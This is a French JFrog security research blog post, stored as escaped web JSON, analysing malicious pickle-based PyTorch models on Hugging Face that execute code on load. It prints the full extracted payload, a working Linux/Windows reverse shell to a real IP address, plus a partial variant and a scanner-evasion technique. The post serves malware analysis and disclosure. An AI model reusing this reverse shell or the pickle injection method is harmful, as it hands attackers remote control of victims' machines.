![\"Malicious](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/Malicious-Hugging-Face-ML-Models-863x300-1.png\")
<\/p>\n<\/p>\n
Dans le domaine de la collaboration en IA, Hugging Face r\u00e8gne en ma\u00eetre. Mais pourrait-il \u00eatre la cible d\u2019attaques bas\u00e9es sur des mod\u00e8les\u00a0? De r\u00e9centes d\u00e9couvertes de JFrog laissent entrevoir une possibilit\u00e9 inqui\u00e9tante, ce qui incite \u00e0 un examen plus approfondi de la s\u00e9curit\u00e9 de la plateforme et annonce une nouvelle \u00e8re de vigilance en mati\u00e8re de recherche sur l\u2019IA.<\/p>\n
La discussion sur la s\u00e9curit\u00e9 des mod\u00e8les d\u2019apprentissage automatique (ML) par intelligence artificielle n\u2019est toujours pas suffisamment relay\u00e9e, et ce billet de blog a pour objectif d\u2019\u00e9largir les \u00e9changes autour de ce sujet. L\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 de JFrog analyse les moyens par lesquels les mod\u00e8les de machine learning peuvent \u00eatre utilis\u00e9s pour compromettre les environnements des utilisateurs de Hugging Face, via l\u2019ex\u00e9cution de code.<\/p>\n
Cette publication explore l\u2019enqu\u00eate relative \u00e0 un mod\u00e8le ML malveillant que nous avons d\u00e9couvert. \u00c0 l\u2019instar d\u2019autres d\u00e9p\u00f4ts open source, nous surveillons et analysons r\u00e9guli\u00e8rement les mod\u00e8les d\u2019IA mis en ligne par les utilisateurs, et avons d\u00e9couvert un mod\u00e8le dont le chargement entra\u00eene l\u2019ex\u00e9cution de code apr\u00e8s le chargement d\u2019un fichier pickle. La charge utile du mod\u00e8le octroie \u00e0 l\u2019attaquant un acc\u00e8s par invite de commandes sur la machine compromise, lui permettant d\u2019obtenir le contr\u00f4le total des machines des victimes par le biais de ce que l\u2019on nomme commun\u00e9ment une \u00ab\u00a0porte d\u00e9rob\u00e9e\u00a0\u00bb<\/strong>. Cette intrusion furtive pourrait th\u00e9oriquement conf\u00e9rer un acc\u00e8s \u00e0 des environnements internes sensibles et pr\u00e9parer le terrain pour des fuites de donn\u00e9es d\u2019envergure ou de l\u2019espionnage d\u2019entreprise, touchant bien au-del\u00e0 de simples utilisateurs pour menacer des structures enti\u00e8res dans le monde entier, le tout sans que les victimes ne soup\u00e7onnent le moindre compromis<\/strong>. Une description approfondie du mode op\u00e9ratoire de l\u2019attaque est pr\u00e9sent\u00e9e, \u00e9clairant ses subtilit\u00e9s ainsi que ses cons\u00e9quences possibles. Alors que nous d\u00e9cryptons les subtilit\u00e9s de ce stratag\u00e8me malveillant, gardons \u00e0 l\u2019esprit ce que nous pouvons apprendre de l\u2019attaque, des intentions de l\u2019attaquant et de son identit\u00e9.<\/p>\n Comme toute technologie, les mod\u00e8les d\u2019IA peuvent \u00e9galement pr\u00e9senter des risques de s\u00e9curit\u00e9 s\u2019ils ne sont pas trait\u00e9s correctement. L\u2019une des menaces potentielles est l\u2019ex\u00e9cution de code<\/a>, ce qui signifie qu\u2019un acteur malveillant peut ex\u00e9cuter du code arbitraire sur la machine qui charge ou ex\u00e9cute le mod\u00e8le. Cela peut entra\u00eener des violations de donn\u00e9es, la compromission de syst\u00e8mes ou d\u2019autres actions malveillantes.<\/p>\n Comment le chargement d\u2019un mod\u00e8le ML peut-il entra\u00eener l\u2019ex\u00e9cution de codeTypes de mod\u00e8les ML et leurs capacit\u00e9s d\u2019ex\u00e9cution de code L\u2019ex\u00e9cution de code peut se produire lors du chargement de certains types de mod\u00e8les ML (voir le tableau ci-dessous) provenant d\u2019une source non fiable. Par exemple, certains mod\u00e8les utilisent le format \u00ab\u00a0pickle\u00a0\u00bb, qui est un format courant de s\u00e9rialisation des objets Python. Toutefois, les fichiers pickle peuvent \u00e9galement contenir du code arbitraire qui est ex\u00e9cut\u00e9 lors du chargement du fichier.<\/p>\n Types de mod\u00e8les ML et leurs capacit\u00e9s d\u2019ex\u00e9cution de code [sur la base de<\/a>] (Cliquez pour d\u00e9velopper)<\/strong><\/em><\/p>\n Hugging Face<\/a> est une plateforme o\u00f9 la communaut\u00e9 de l\u2019apprentissage automatique collabore sur des mod\u00e8les, des ensembles de donn\u00e9es et des applications. Elle propose des solutions open source, payantes et d\u2019entreprise pour l\u2019IA de texte, d\u2019image, de vid\u00e9o, d\u2019audio et 3D.<\/p>\n Pour pr\u00e9venir ces attaques, Hugging Face a mis en \u0153uvre plusieurs mesures de s\u00e9curit\u00e9, telles que l\u2019analyse des logiciels malveillants<\/a>, l\u2019analyse des fichiers pickle<\/a> et l\u2019analyse des secrets<\/a>. Ces outils examinent chaque fichier des d\u00e9p\u00f4ts pour y d\u00e9tecter tout code malveillant, d\u00e9s\u00e9rialisation non s\u00e9curis\u00e9e ou donn\u00e9e sensible, puis pr\u00e9viennent les utilisateurs ou les mod\u00e9rateurs de mani\u00e8re adapt\u00e9e. Hugging Face a d\u00e9velopp\u00e9 un nouveau format permettant de stocker en toute s\u00e9curit\u00e9 les donn\u00e9es des mod\u00e8les, appel\u00e9 safetensors.<\/a><\/p>\n Bien que Hugging Face dispose de bonnes mesures de s\u00e9curit\u00e9, un mod\u00e8le r\u00e9cemment publi\u00e9 rappelle brutalement que la plateforme n\u2019est pas \u00e0 l\u2019abri de menaces r\u00e9elles. Cet incident met en \u00e9vidence les risques potentiels qui se cachent au sein des syst\u00e8mes optimis\u00e9s par l\u2019IA et souligne la n\u00e9cessit\u00e9 d\u2019une vigilance constante et de pratiques de s\u00e9curit\u00e9 proactives. Avant d\u2019aller plus loin, examinons de plus pr\u00e8s le paysage actuel de la recherche chez JFrog.<\/p>\n Avertissement HuggingFace pour les mod\u00e8les non s\u00e9curis\u00e9s d\u00e9tect\u00e9s via l\u2019analyse Pickle Distribution des types de charges utiles Pour lutter contre ces menaces, l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 JFrog a d\u00e9velopp\u00e9 un environnement d\u2019analyse qui examine rigoureusement chaque nouveau mod\u00e8le charg\u00e9 sur Hugging Face plusieurs fois par jour<\/strong>. Son objectif principal est de d\u00e9tecter et de neutraliser rapidement les menaces \u00e9mergentes sur Hugging Face. Parmi les diff\u00e9rentes analyses de s\u00e9curit\u00e9 effectu\u00e9es sur les d\u00e9p\u00f4ts Hugging Face, l\u2019accent est principalement mis sur l\u2019examen minutieux des fichiers de mod\u00e8les. Selon notre analyse, les mod\u00e8les PyTorch (de loin) et les mod\u00e8les TensorFlow Keras (aux formats H5 ou SavedModel) pr\u00e9sentent le risque potentiel le plus \u00e9lev\u00e9 d\u2019ex\u00e9cuter du code malveillant, car il s\u2019agit de types de mod\u00e8les populaires pour lesquels des techniques connues d\u2019ex\u00e9cution de code ont \u00e9t\u00e9 publi\u00e9es.<\/p>\n De plus, nous avons compil\u00e9 un graphique complet illustrant la r\u00e9partition des mod\u00e8les potentiellement malveillants d\u00e9couverts dans les d\u00e9p\u00f4ts Hugging Face. Il convient de noter que les mod\u00e8les PyTorch pr\u00e9sentent la pr\u00e9valence la plus \u00e9lev\u00e9e, suivis de pr\u00e8s par les mod\u00e8les TensorFlow Keras. Il est primordial de souligner que lorsque nous parlons de \u00ab\u00a0mod\u00e8les malveillants\u00a0\u00bb, nous d\u00e9signons sp\u00e9cifiquement ceux qui h\u00e9bergent de v\u00e9ritables charges utiles nuisibles. Notre analyse a recens\u00e9 \u00e0 ce jour environ 100 occurrences de tels mod\u00e8les. Il est important de noter que ce d\u00e9compte exclut les faux positifs, garantissant ainsi une repr\u00e9sentation fid\u00e8le de la r\u00e9partition des efforts consacr\u00e9s \u00e0 la production de mod\u00e8les malveillants pour PyTorch et Tensorflow sur Hugging Face.<\/p>\n R\u00e9partition des mod\u00e8les malveillants dans Hugging Face par type de mod\u00e8le R\u00e9cemment, notre environnement d\u2019analyse a signal\u00e9 un mod\u00e8le PyTorch particuli\u00e8rement intrigant mis en ligne par un nouvel utilisateur nomm\u00e9 Lors du chargement de mod\u00e8les PyTorch avec transformers, une approche courante consiste \u00e0 utiliser la fonction torch.load() qui d\u00e9s\u00e9rialise le mod\u00e8le \u00e0 partir d\u2019un fichier. Cette m\u00e9thode est souvent utilis\u00e9e, en particulier lorsqu\u2019il s\u2019agit de mod\u00e8les PyTorch entra\u00een\u00e9s avec la biblioth\u00e8que Transformers de Hugging Face, pour charger le mod\u00e8le, ainsi que son architecture, ses poids et toutes les configurations associ\u00e9es. Transformers fournit un cadre complet pour les t\u00e2ches de traitement du langage naturel, facilitant la cr\u00e9ation et le d\u00e9ploiement de mod\u00e8les sophistiqu\u00e9s. Dans le contexte du d\u00e9p\u00f4t \u00ab\u00a0baller423\/goober2\u00a0\u00bb, il semble que la charge utile malveillante ait \u00e9t\u00e9 inject\u00e9e dans le fichier de mod\u00e8le PyTorch \u00e0 l\u2019aide de la m\u00e9thode __reduce__ du module pickle. Cette m\u00e9thode, comme d\u00e9montr\u00e9 dans la r\u00e9f\u00e9rence fournie<\/a>, permet aux attaquants d\u2019ins\u00e9rer du code Python arbitraire dans le processus de d\u00e9s\u00e9rialisation, ce qui peut entra\u00eener un comportement malveillant lors du chargement du mod\u00e8le.<\/p>\n Apr\u00e8s analyse du fichier PyTorch \u00e0 l\u2019aide de l\u2019outil fickling<\/a>, nous avons r\u00e9ussi \u00e0 extraire la charge utile suivante\u00a0:<\/p>\n En g\u00e9n\u00e9ral, les charges utiles int\u00e9gr\u00e9es dans les mod\u00e8les mis en ligne par des chercheurs visent \u00e0 d\u00e9montrer des vuln\u00e9rabilit\u00e9s ou \u00e0 pr\u00e9senter des preuves de concept sans causer de dommages (voir l\u2019exemple ci-dessous). Ces charges utiles peuvent inclure des actions b\u00e9nignes telles que l\u2019envoi d\u2019une requ\u00eate ping vers un serveur d\u00e9sign\u00e9 ou l\u2019ouverture d\u2019un navigateur pour afficher du contenu sp\u00e9cifique. Cependant, dans le cas du mod\u00e8le provenant du d\u00e9p\u00f4t \u00ab\u00a0 Exemple de mod\u00e8le de preuve de concept entra\u00eenant l\u2019ex\u00e9cution de code R\u00e9sultats de la recherche WHOIS d\u2019adresse IP Cette plage d’adresses IP appartenant \u00e0 KREOnet, qui signifie \u00ab\u00a0Korea Research Environment Open NETwork\u00a0\u00bb, pourrait constituer une preuve potentielle sugg\u00e9rant l’implication de chercheurs dans une tentative d’exploitation de la faille. KREONET fonctionne comme un r\u00e9seau de recherche \u00e0 haut d\u00e9bit en Cor\u00e9e du Sud, soutenant des projets de recherche et d’\u00e9ducation de pointe. Il fournit une connectivit\u00e9 Internet \u00e0 haut d\u00e9bit, des services r\u00e9seau avanc\u00e9s et une infrastructure destin\u00e9e \u00e0 favoriser la collaboration entre les \u00e9tablissements universitaires, les organismes de recherche et les partenaires industriels.<\/p>\n Peu apr\u00e8s le retrait du mod\u00e8le, nous avons rencontr\u00e9 d’autres instances de la m\u00eame charge utile avec des adresses IP diff\u00e9rentes. Une telle instance reste active\u00a0: star 23 baller13 Ces \u00e9l\u00e9ments sugg\u00e8rent que les auteurs de ces mod\u00e8les pourraient \u00eatre des chercheurs ou des praticiens de l\u2019IA. Toutefois, un principe fondamental de la recherche en s\u00e9curit\u00e9 consiste \u00e0 s\u2019abstenir de publier de v\u00e9ritables exploits fonctionnels ou du code malveillant. Ce principe a \u00e9t\u00e9 enfreint lorsque le code malveillant a tent\u00e9 de se reconnecter \u00e0 une adresse IP l\u00e9gitime.<\/p>\n Notez que, pour un autre mod\u00e8le de star23, des utilisateurs ont signal\u00e9 que le mod\u00e8le contenait une charge utile dangereusement malveillante, ce qui indique qu\u2019ils ont \u00e9t\u00e9 victimes de ce mod\u00e8le. Apr\u00e8s avoir re\u00e7u plusieurs signalements, la plateforme Hugging Face a bloqu\u00e9 le mod\u00e8le.<\/p>\n Probl\u00e8mes signal\u00e9s par la communaut\u00e9 sur la page du mod\u00e8le star23 baller Afin d\u2019approfondir l\u2019analyse et de recueillir potentiellement des informations suppl\u00e9mentaires sur les intentions des acteurs malveillants, nous avons mis en place un HoneyPot<\/strong> sur un serveur externe, enti\u00e8rement isol\u00e9 de tout r\u00e9seau sensible.<\/p>\n Un h\u00f4te HoneyPot<\/strong> est un syst\u00e8me ou un p\u00e9riph\u00e9rique r\u00e9seau intentionnellement configur\u00e9 pour appara\u00eetre comme une cible int\u00e9ressante aux yeux d\u2019attaquants potentiels. Il est con\u00e7u pour attirer des acteurs malveillants afin qu\u2019ils interagissent avec lui, ce qui permet aux d\u00e9fenseurs de surveiller et d\u2019analyser leurs activit\u00e9s. L\u2019objectif d\u2019un HoneyPot est de mieux comprendre les tactiques, les techniques et les objectifs des attaquants, ainsi que de recueillir des renseignements sur les menaces potentielles.<\/p>\n En imitant des syst\u00e8mes ou services l\u00e9gitimes, un HoneyPot peut attirer diff\u00e9rents types d\u2019attaques, telles que des tentatives d\u2019exploitation de vuln\u00e9rabilit\u00e9s, des tentatives d\u2019acc\u00e8s non autoris\u00e9 ou des activit\u00e9s de reconnaissance. Il peut \u00e9galement \u00eatre configur\u00e9 pour simuler des types sp\u00e9cifiques de donn\u00e9es ou de ressources susceptibles d\u2019int\u00e9resser les attaquants, tels que de faux identifiants, des documents sensibles ou des services r\u00e9seau.<\/p>\n En surveillant attentivement les journaux et le trafic r\u00e9seau du HoneyPot, les professionnels de la s\u00e9curit\u00e9 peuvent observer les m\u00e9thodes utilis\u00e9es par les attaquants, identifier les menaces \u00e9mergentes et am\u00e9liorer les d\u00e9fenses afin de mieux prot\u00e9ger les syst\u00e8mes de production r\u00e9els. De plus, les informations recueillies \u00e0 partir d\u2019un HoneyPot peuvent s\u2019av\u00e9rer pr\u00e9cieuses \u00e0 des fins de renseignement sur les menaces, en aidant les organisations \u00e0 garder une longueur d\u2019avance sur l\u2019\u00e9volution des cybermenaces. JFrog Honeypot et faux secrets Configuration et surveillance de HoneyPot Nous avons r\u00e9ussi \u00e0 \u00e9tablir une connexion au serveur de l\u2019attaquant. Cependant, malheureusement, aucune commande n\u2019a \u00e9t\u00e9 re\u00e7ue avant que la connexion ne soit brusquement interrompue au bout d\u2019une journ\u00e9e.<\/p>\n Hugging Face est devenu un terrain de jeu pour les chercheurs qui s\u2019efforcent de contrer de nouvelles menaces, comme en t\u00e9moignent les diverses tactiques employ\u00e9es pour contourner ses mesures de s\u00e9curit\u00e9.<\/p>\n Tout d\u2019abord, nous pouvons constater que la plupart des charges utiles \u00ab\u00a0malveillantes\u00a0\u00bb rel\u00e8vent en r\u00e9alit\u00e9 de tentatives men\u00e9es par des chercheurs ou des acteurs de programmes de bug bounty pour obtenir l\u2019ex\u00e9cution de code \u00e0 des fins apparemment l\u00e9gitimes.<\/p>\n D\u00e9monstration d\u2019ex\u00e9cution de code inoffensive sur macOS [paclove\/pytorchTest<\/a>]<\/strong><\/em><\/p>\n Une autre technique implique l\u2019utilisation du module runpy<\/a> (comme en t\u00e9moignent des d\u00e9p\u00f4ts tels que MustEr m3e_biased L\u2019\u00e9mergence de telles tactiques souligne la vuln\u00e9rabilit\u00e9 aux attaques contre la cha\u00eene d\u2019approvisionnement, qui peuvent \u00eatre adapt\u00e9es pour cibler des groupes sp\u00e9cifiques tels que les ing\u00e9nieurs en IA\/ML et les machines ex\u00e9cutant les pipelines. De plus, une vuln\u00e9rabilit\u00e9 r\u00e9cente dans transformers, CVE-2023-6730<\/a>, met en \u00e9vidence le risque d\u2019 attaques transitives<\/strong> facilit\u00e9es par le t\u00e9l\u00e9chargement de mod\u00e8les apparemment inoffensifs, conduisant finalement \u00e0 l\u2019ex\u00e9cution de code malveillant provenant d\u2019un mod\u00e8le transitif. Ces incidents rappellent de mani\u00e8re poignante les menaces persistantes auxquelles sont confront\u00e9s les d\u00e9p\u00f4ts Hugging Face et d\u2019autres d\u00e9p\u00f4ts populaires tels que Kaggle<\/a>, qui pourraient compromettre la confidentialit\u00e9 et la s\u00e9curit\u00e9 des organisations utilisant ces ressources, tout en posant des d\u00e9fis aux ing\u00e9nieurs en IA\/ML.<\/p>\n En outre, des initiatives telles que Huntr<\/a>, une plateforme de bug bounty sp\u00e9cialement con\u00e7ue pour les CVE li\u00e9es \u00e0 l\u2019IA, jouent un r\u00f4le crucial dans le renforcement de la posture de s\u00e9curit\u00e9 des mod\u00e8les et plateformes d\u2019IA. Cet effort collectif est imp\u00e9ratif pour renforcer les d\u00e9p\u00f4ts Hugging Face et pr\u00e9server la confidentialit\u00e9 et l\u2019int\u00e9grit\u00e9 des ing\u00e9nieurs en IA\/ML et des organisations qui s\u2019appuient sur ces ressources.<\/p>\n B\u00e9n\u00e9ficiez d\u2019une tranquillit\u00e9 d\u2019esprit tout au long du d\u00e9ploiement de vos mod\u00e8les d\u2019IA gr\u00e2ce \u00e0 la plateforme JFrog<\/a>, la solution ultime pour s\u00e9curiser votre cha\u00eene d\u2019approvisionnement. Int\u00e9grez facilement JFrog Artifactory \u00e0 votre environnement pour t\u00e9l\u00e9charger des mod\u00e8les en toute s\u00e9curit\u00e9 tout en tirant parti de JFrog Advanced Security<\/a>. Cela vous permet de bloquer en toute confiance toute tentative de t\u00e9l\u00e9chargement de mod\u00e8les malveillants et de garantir l\u2019int\u00e9grit\u00e9 de votre \u00e9cosyst\u00e8me d\u2019IA.<\/p>\n Continuellement mise \u00e0 jour avec les derni\u00e8res d\u00e9couvertes de l\u2019\u00e9quipe JFrog Security Research et d\u2019autres sources de donn\u00e9es publiques, notre base de donn\u00e9es de mod\u00e8les malveillants offre une protection en temps r\u00e9el contre les menaces \u00e9mergentes. Que vous travailliez avec PyTorch, TensorFlow ou d\u2019autres mod\u00e8les bas\u00e9s sur pickle, Artifactory, qui agit comme un proxy s\u00e9curis\u00e9 pour les mod\u00e8les, garantit la protection de votre cha\u00eene d\u2019approvisionnement contre les risques potentiels, vous permettant ainsi d\u2019innover en toute confiance. Gardez une longueur d\u2019avance sur les menaces de s\u00e9curit\u00e9 en consultant notre blog de recherche en s\u00e9curit\u00e9<\/a> et renforcez la s\u00e9curit\u00e9 de vos produits et applications.<\/p>\n Les d\u00e9couvertes et les travaux de l\u2019\u00e9quipe de recherche en s\u00e9curit\u00e9 jouent un r\u00f4le important des fonctionnalit\u00e9s de s\u00e9curit\u00e9 des logiciels applicatifs de la plateforme de cha\u00eene d\u2019approvisionnement logicielle JFrog.<\/p>\n Suivez les derni\u00e8res d\u00e9couvertes et actualit\u00e9s techniques de l\u2019\u00e9quipe JFrog Security Research sur notre site consacr\u00e9 \u00e0 la recherche<\/a> ainsi que sur X, avec le compte @JFrogSecurity<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":" Dans le domaine de la collaboration en IA, Hugging Face r\u00e8gne en ma\u00eetre. Mais pourrait-il \u00eatre la cible d\u2019attaques bas\u00e9es sur des mod\u00e8les\u00a0? De r\u00e9centes d\u00e9couvertes de JFrog laissent entrevoir une possibilit\u00e9 inqui\u00e9tante, ce qui incite \u00e0 un examen plus approfondi de la s\u00e9curit\u00e9 de la plateforme et annonce une nouvelle \u00e8re de vigilance en …<\/p>\n","protected":false},"author":798,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[9963,10153,9392],"tags":[11081,11456,11082,11467,11468],"class_list":["post-174801","post","type-post","status-publish","format-standard","hentry","category-plateforme-jfrog","category-securite-et-devsecops","category-xray-fr","tag-ai-fr","tag-hugging-face","tag-machine-learning-fr","tag-malicious-models","tag-security-research"],"yoast_head":"\nComment le chargement d\u2019un mod\u00e8le ML peut-il entra\u00eener l\u2019ex\u00e9cution de code\u00a0?<\/h2>\n
\n![\"How](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/1_How-can-loading-an-ML-model-lead-to-code-execution.gif\")
<\/p>\n![\"ML](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/2_ML-Model-Types-and-Their-Code-Execution-Capabilities_v2.jpg\")
<\/p>\nS\u00e9curit\u00e9 de Hugging Face<\/h2>\n
Une analyse plus approfondie est n\u00e9cessaire pour identifier les menaces r\u00e9elles<\/h2>\n
![\"HuggingFace](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/3_HuggingFace-Warning-for-Detected-Unsafe-Models-via-Pickle-Scanning.png\")
Avertissement HuggingFace concernant les mod\u00e8les non s\u00e9curis\u00e9s d\u00e9tect\u00e9s via l\u2019analyse Pickle<\/strong><\/em><\/p>\n
\nBien que Hugging Face analyse les mod\u00e8les pickle, la plateforme ne bloque ni ne restreint purement et simplement leur t\u00e9l\u00e9chargement, mais les qualifie plut\u00f4t de \u00ab\u00a0non s\u00e9curis\u00e9s\u00a0\u00bb (figure ci-dessus). Cela signifie que les utilisateurs conservent la possibilit\u00e9 de t\u00e9l\u00e9charger et d\u2019ex\u00e9cuter, \u00e0 leurs propres risques, des mod\u00e8les potentiellement dangereux. En outre, il est important de noter que les mod\u00e8les bas\u00e9s sur pickle ne sont pas les seuls \u00e0 \u00eatre susceptibles d\u2019ex\u00e9cuter du code malveillant. Par exemple, le deuxi\u00e8me type de mod\u00e8le le plus r\u00e9pandu sur Hugging Face, les mod\u00e8les TensorFlow Keras, peut \u00e9galement ex\u00e9cuter du code via leur couche Lambda<\/a>. Cependant, contrairement aux mod\u00e8les bas\u00e9s sur Pickle, la biblioth\u00e8que transformers d\u00e9velopp\u00e9e par Hugging Face pour les t\u00e2ches d\u2019IA autorise uniquement les poids Tensorflow, et non des mod\u00e8les entiers comprenant \u00e0 la fois les poids et les couches d\u2019architecture, comme expliqu\u00e9 ici<\/a>. Cela att\u00e9nue efficacement l\u2019attaque lors de l\u2019utilisation de l\u2019API Transformers, bien que le chargement du mod\u00e8le via l\u2019API de la biblioth\u00e8que standard entra\u00eene toujours l\u2019ex\u00e9cution de code.<\/p>\n![\"Payload](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/4_Payload-Types-distribution.png\")
<\/p>\n![\"Distribution](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/5_Distribution-of-Malicious-Models-in-Hugging-Face-by-Model-Type.png\")
<\/strong>R\u00e9partition des mod\u00e8les malveillants dans Hugging Face par type de mod\u00e8le<\/strong><\/em><\/p>\nballer423 charge utile malveillante\u00a0: reverse shell vers un h\u00f4te malveillant<\/h2>\n
baller423<\/code>\u2014bien que depuis supprim\u00e9. Le d\u00e9p\u00f4t baller423\/goober2<\/code> contenait un fichier de mod\u00e8le PyTorch renfermant une charge utile intrigante.<\/p>\nRHOST = \"210.117.212.93\"\r\nRPORT = 4242\r\n\r\nfrom sys import platform\r\n\r\nif platform != 'win32':\r\n import threading\r\n import socket\r\n import pty\r\n import os\r\n\r\n def connect_and_spawn_shell():\r\n s = socket.socket()\r\n s.connect((RHOST, RPORT))\r\n [os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\r\n pty.spawn(\"\/bin\/sh\")\r\n\r\n threading.Thread(target=connect_and_spawn_shell).start()\r\nelse:\r\n import os\r\n import socket\r\n import subprocess\r\n import threading\r\n import sys\r\n\r\n def send_to_process(s, p):\r\n while True:\r\n p.stdin.write(s.recv(1024).decode())\r\n p.stdin.flush()\r\n\r\n def receive_from_process(s, p):\r\n while True:\r\n s.send(p.stdout.read(1).encode())\r\n\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n while True:\r\n try:\r\n s.connect((RHOST, RPORT))\r\n break\r\n except:\r\n pass\r\n\r\n p = subprocess.Popen([\"powershell.exe\"], \r\n stdout=subprocess.PIPE,\r\n stderr=subprocess.STDOUT,\r\n stdin=subprocess.PIPE,\r\n shell=True,\r\n text=True)\r\n\r\n threading.Thread(target=send_to_process, args=[s, p], daemon=True).start()\r\n threading.Thread(target=receive_from_process, args=[s, p], daemon=True).start()\r\n p.wait()<\/code><\/pre>\nballer423\/goober2<\/code>\u00a0\u00bb, la charge utile diff\u00e8re consid\u00e9rablement. Au lieu d\u2019actions b\u00e9nignes, il initie une connexion de reverse shell vers une v\u00e9ritable adresse IP, 210.117.212.93<\/strong>. Ce comportement est nettement plus intrusif et potentiellement malveillant, car il \u00e9tablit une connexion directe \u00e0 un serveur externe, ce qui indique une menace potentielle pour la s\u00e9curit\u00e9 plut\u00f4t qu\u2019une simple d\u00e9monstration de vuln\u00e9rabilit\u00e9. De telles actions soulignent l\u2019importance d\u2019un examen approfondi et de mesures de s\u00e9curit\u00e9 lors du traitement de mod\u00e8les d\u2019apprentissage automatique provenant de sources non fiables.<\/p>\n![\"Example](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/6_Example-of-Proof-of-concepts-model-causing-code-execution.png\")
Exemple de mod\u00e8le de preuves de concept provoquant l\u2019ex\u00e9cution de code [RiddleLi\/a-very-safe-m0del<\/a>]<\/strong><\/em><\/p>\n
\n![\"IP](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/7_IP-WHOIS-Lookup-Results.png\")
<\/p>\nstar23\/baller13<\/code>. Il convient de noter la similitude entre le nom du mod\u00e8le et celui de l’utilisateur supprim\u00e9, ce qui sugg\u00e8re des liens potentiels entre eux.<\/p>\nRHOST = \"136.243.156.120\"\r\nRPORT = 53252\r\n\r\nfrom sys import platform\r\n\r\nif platform != 'win32':\r\n import threading\r\n import socket\r\n import pty\r\n import os\r\n...<\/code><\/pre>\n
\nLa seule diff\u00e9rence entre ces deux mod\u00e8les est l\u2019ensemble IP\/PORT. Dans ce cas, la charge utile dirige vers un h\u00f4te de centre de donn\u00e9es. Un autre signe notable est le message figurant sur la fiche du mod\u00e8le sur Hugging Face, qui indique explicitement qu\u2019il ne doit pas \u00eatre t\u00e9l\u00e9charg\u00e9.<\/p>\n![\"star](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/8_star-23-baller13.png\")
<\/p>\n![\"Community](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/9_Community-Reports-issues-in-star23-baller-model-page.png\")
La communaut\u00e9 signale des probl\u00e8mes sur la page du mod\u00e8le star23\/baller8<\/strong><\/em><\/p>\n
\nDans notre environnement HoneyPot, nous avons implant\u00e9 des secrets leurres et des applications g\u00e9n\u00e9ralement utilis\u00e9s par un data scientist. Nous avons m\u00e9ticuleusement surveill\u00e9 toutes les commandes ex\u00e9cut\u00e9es par des attaquants potentiels, comme illustr\u00e9 ci-dessous\u00a0:<\/p>\n![\"JFrog](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/10_JFrog-Honeypot-and-Fake-Secrets.png\")
JFrog Honeypot et faux secrets (cliquez pour d\u00e9velopper)<\/em><\/strong><\/p>\n![\"HoneyPot](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/11_HoneyPot-Setup-and-Monitoring.gif\")
Configuration et surveillance de HoneyPot<\/strong><\/em><\/p>\nHugging Face est \u00e9galement un terrain de jeu pour les chercheurs qui cherchent \u00e0 faire face aux menaces \u00e9mergentes<\/h2>\n
system('open \/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator')<\/code><\/pre>\nMustEr\/m3e_biased<\/code> \u2014 un mod\u00e8le t\u00e9l\u00e9vers\u00e9 par notre \u00e9quipe de recherche \u2014 sur Hugging Face), qui contourne l\u2019analyse actuelle des mod\u00e8les malveillants de Hugging Face et simule l\u2019ex\u00e9cution de code Python arbitraire.<\/p>\n![\"MustEr](\"https:\/\/jfrog.com\/wp-content\/uploads\/2024\/02\/12_MustEr-m3e_biased.gif\")
Exemple de charge utile malveillante, aucun avertissement sur la fiche du mod\u00e8le [MustEr\/m3e_biased<\/a>].<\/strong><\/em><\/p>\nProt\u00e9ger les \u00e9cosyst\u00e8mes d\u2019IA face aux menaces \u00e9mergentes<\/h2>\n
S\u00e9curisez votre cha\u00eene d\u2019approvisionnement en mod\u00e8les d\u2019IA avec JFrog Artifactory<\/h2>\n
Tenez-vous au courant avec l’\u00e9quipe JFrog Security Research<\/h2>\n